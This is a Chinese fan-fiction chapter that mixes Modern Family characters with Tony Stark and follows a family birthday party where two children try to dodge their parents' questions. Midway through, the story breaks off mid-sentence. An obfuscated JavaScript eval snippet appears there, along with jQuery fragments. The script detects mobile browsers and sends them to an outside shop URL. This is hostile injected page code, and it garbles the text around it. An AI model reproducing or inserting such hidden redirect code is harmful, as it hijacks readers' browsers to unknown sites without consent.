汽车停在车库门口，塞姆从总控制板锁死全部车门，解开安全带，侧身总览着车上的另外三个人，说：
“不问（Don'tAsk），不说（Don'tTell），OK？”
米球儿说：“你......”
塞姆一抬手，说：
“首先，我对今年初时，克林顿总统的这条政策正式生效感到不幸。其次，我站在你这边。”
然后继续将头对向后座，说：
“最后，接下来我们举手提问。”
道林举手。
塞姆说：“讲。”
道林说：“如果他们问呢？”
塞姆说：“那就他们问什么你答什么。但要记住，一切都相处的很愉快。”
海莉说：“但这是撒谎。”
道林说：“他们也总是对我们说谎，这很公平，海莉。再说了，你又不是没撒过谎。”
海莉说：“我才没有说过谎。”
道林说：“看，你撒谎。”
前排的米球儿和塞姆对视一眼，各开各的门从车里钻出来。就在两人同时将手放在分别两侧的后门时，米球儿默默吐槽道：
“我可是个成年人。”
拉车把的手一顿，塞姆说：
“谁不是。”
米球儿闻言，下意识将已经拉开的车门重新关上，说：
“说起来，严格算来，你也应该叫我舅舅。”
两手撑在车顶，塞姆神色一凝，说：
“你是怎么敢说这话的？怎么？想重新回味下自己的高中生活了？”
米球儿当即尬笑道：
“不，不不。我在高中，才，才不是被欺负的那个。”
塞姆“切”的忍不住笑出声，说：
“那你就是欺负别人的那个了？谁？你们橄榄球队的队长吗？”
车里，道林尽可能的凑近另一边的海莉，小声问：
“他们在说什么？”
海莉摇摇头说：
“我也不知道。”
长叹了口气，她又说：
“唉！男孩们啊。”
道林瘪嘴斜了海莉一眼，转身去敲了敲车窗，这才总算是把自己和海莉解救出来。在海莉催促声里，道林、塞姆和米球儿总算是磨蹭回室内。
从室外活动区绕进来，塞姆小心翼翼地关上门，边转身子边矮声说：
“现在，我们去......”
“去哪儿？”
塞姆瞬间绷直了自己，不论是躯体还是精神上的。他说：
“不。哪儿也，不去，父亲。”
通向自由的路上，被以杰和艾伦为首的大人们堵得结结实实，只留下一个不到半人高的缝隙。道林状似不经意地拍掉米球儿不停捻自己衣领的手，眼睛一眨不眨地盯着那处若隐若现的缝隙。
对面，杰说：
“米球儿，我今天才知道，律师是可以不讲时间观念的？”
听到这话，低头掩下神情的塞姆猛地一挑眉，用小到甚至就连贴在身边的米球儿，都只能隐隐听到的声音，问：
“什么意思？他们规定时间了？”
米球儿嘴巴微微张开，形成一条空气都勉强通过的缝隙，以同样含糊不清的声音，说：
“好像，是有这件，事？”
克莱尔说：“米球儿？”
米球儿身躯猛地一震，说：
“Yeah！”
他挠了挠额头，手指一直在自己和克莱尔之间比划，结巴道：
“额，这个，我们，我们有规定时间吗？”
菲尔也难得一脸严肃，说：
“多瑞，海莉，你们两个就没有什么想交代的吗？”
而全神贯注的道林，终于等到了对面亚历克斯让出缝隙，他高呼道：
“快走，海莉！快去找本杰明要我们的车，快，海莉！”
边喊，道林边一马当先的，朝克莱尔和艾伦之间的空隙里奔。
海莉听到道林声音先是一愣，接着紧跟他的步伐，迎着“人像山”而去。
米球儿不服道：
“我们怎么办？”
回应他的，是被艾伦眼疾手快捞起来的道林，和脚下一顿，直直朝克莱尔跑去的海莉。
扒着克莱尔的裤腿，海莉说：
“妈咪，我才没有想跑。”
又模仿了次搁浅鱼的道林，终于停了最后的挣扎，对海莉吼道：
“海莉！大叛徒！骗子！”
无力的摊在艾伦怀里，他仰天道：
“为什么？今天到底有什么毛病？”
问讯被打断，米球儿和塞姆狠狠松了口气，但苦了误打误撞解救他们于水火的道林和海莉。
海莉盯着对面正朝他们举杯致敬的两人，小声嘟囔道：
“叛徒。”
道林则目不转睛地望着远处原本属于他的“豪车”，还有坐在上面一脸好奇的亚历克斯。他分神拿手拍了拍海莉，说：
“我都不嫌弃你了，你就不要嫌弃他们了。”
海莉说：“你凭什么嫌弃我？”
道林只默默吐出个单词，说：
“骗子。”
手扶玩具汽车，但主要是扶着亚历克斯的菲尔听到这边动静，朝道林不满道：
“是你先背叛组织的，buddy。在你当初背叛我的时候，你就应该想到你也会有今天！”
道林嘟着嘴，摊开双手，说：
“Sorry，爹地。但是我已经长大了，需要有自己的生活了。”
菲尔说：“不！我不接受！你甚至还在叫我‘爹地’。”
听到声音，克莱尔连忙打断道：
“菲尔？”
她走到道林和海莉身前，顺手拿了把椅子，居高临下的与两人面对面坐下。先是指着道林，说：
“首先，爹地说得对，你现在只是个要过四岁生日的小屁孩。”
接着她又指向和道林排排坐的海莉，说：
“其次，你可以把眼睛从蛋糕移开了，亲爱的。虽然今天是你们的生日，但我还是要说，这就是你们做错事的代价。”
道林眨着眼睛提议说：
“其实，我们只需要把两个蛋糕里，属于埃德温的那份留出来。”
海莉也说：
“我可以把我的那个蛋糕多留一部分，算作托尼吃不到的那块巧克力蛋糕。”
克莱尔只有两个回复。她说：
“NO，NO。”
她接着起身就想走，却听到道林又说：
“那可以把车还给我了吗？”
道林斜眼盯着远处，正被迫充当亚历克斯摇摇车。他甚至都恍惚听到了车的悲鸣。
他眼里闪着星光，说：
“这可是我的生日礼物。”
克莱尔听到这话，不由转身用力抱着道林脑袋好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658005|205941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好亲了一口，然后笑着说：
“不行。”
道林和海莉与眼前其乐融融的环境间，再次隔了层看不见的屏障。道林歪着脑袋，小声问：
“为什么他们什么也不问？”
海莉说：“不知道。”
道林说：“真讨厌，为什么另外两个人什么事也没有。”
海莉说：“明明你也不服气，刚刚居然还要我原谅他们，现在你也是叛徒。”
道林说：“我刚刚只是说我原谅你了，又不代表我要原谅他们。”
海莉只重复道：
“叛徒。”
道林问道：
“所以你原谅他们了？”
海莉说：“没有。”
道林说：“你没有原谅他们，我也没有原谅他们，所以我不是叛徒，只有你是叛徒。”
海莉说：“爹地说你背叛了他，所以你也是叛徒。”
道林叹了口气，说：
“好吧，那我也是叛徒。但这是因为，爹地有点儿太黏人了。”
海莉一甩头发，说：
“你承认就好。”
道林说：“只要是我做的，我当然会承认。不像那两个讨厌鬼，他们两人看上去，就好像刚才什么都没发生一样。”
海莉说：“他们看上去才像真的大叛徒。”
道林重重点头，又猛地泄了气，说：
“随便发生些什么都好，只要能把我的汽车还给我。”
海莉也说：
“随便什么，只要能让我快点吃上蛋糕。”
话音刚落，两人就见本杰明脚步匆匆从面前走过。
带起的风扑了道林满脸，他眨着眼睛，一脸惊恐道：
“完蛋，怎么把那个最大的讨厌鬼给忘了。”
海莉盯着自己十根手指张到最大的手掌，同样瞪大眼睛，说：
“我有魔法。”
克莱尔去而复返。她来到两人面前，说：
“走吧。作为今天的主角，你们该去迎接自己的客人了。”
道林猛地扭过头，蜷起自己的手又藏进怀里，说：
“不要！我才不要去，我只是个孩子。”
克莱尔见这反常行为，先是下意识看向海莉，得到一个耸肩后，瞬间沉下脸，严肃道：
“道林。”
然后就被米球儿挤到一边，当着她的面，和塞姆一人“偷”了一个孩子。背对着克莱尔，米球儿勉强漏了半个脸，说：
“我们来，我们来。”
有先前经验在前，此时此刻的道林只是干嚎道：
“放开我，放我下来，我就是不要去！快把他关在......”
唯一能发泄的方式，最后被塞姆用手挡住。
克莱尔疑惑道：
“什么？”
这时一道陌生、又明显是属于年轻人的声音闯了进来。克莱尔回头，就发现了那个报纸常客。
道林终于扒拉开塞姆的手，指向性极明显的喊道：
“出去！不欢迎你！”
塞姆放弃地将道林放回地面，见状，米球儿也将安安静静的海莉放回沙发。塞姆随手一拍衣服，说：
“又见面了，小斯塔克先生。”
托尼穿过重重叠叠，朝他们的方向边走边说：
“怎么回事，小......罗森伯格，嗯？现在是你的主场，怎么还没有在我家时，放得开？”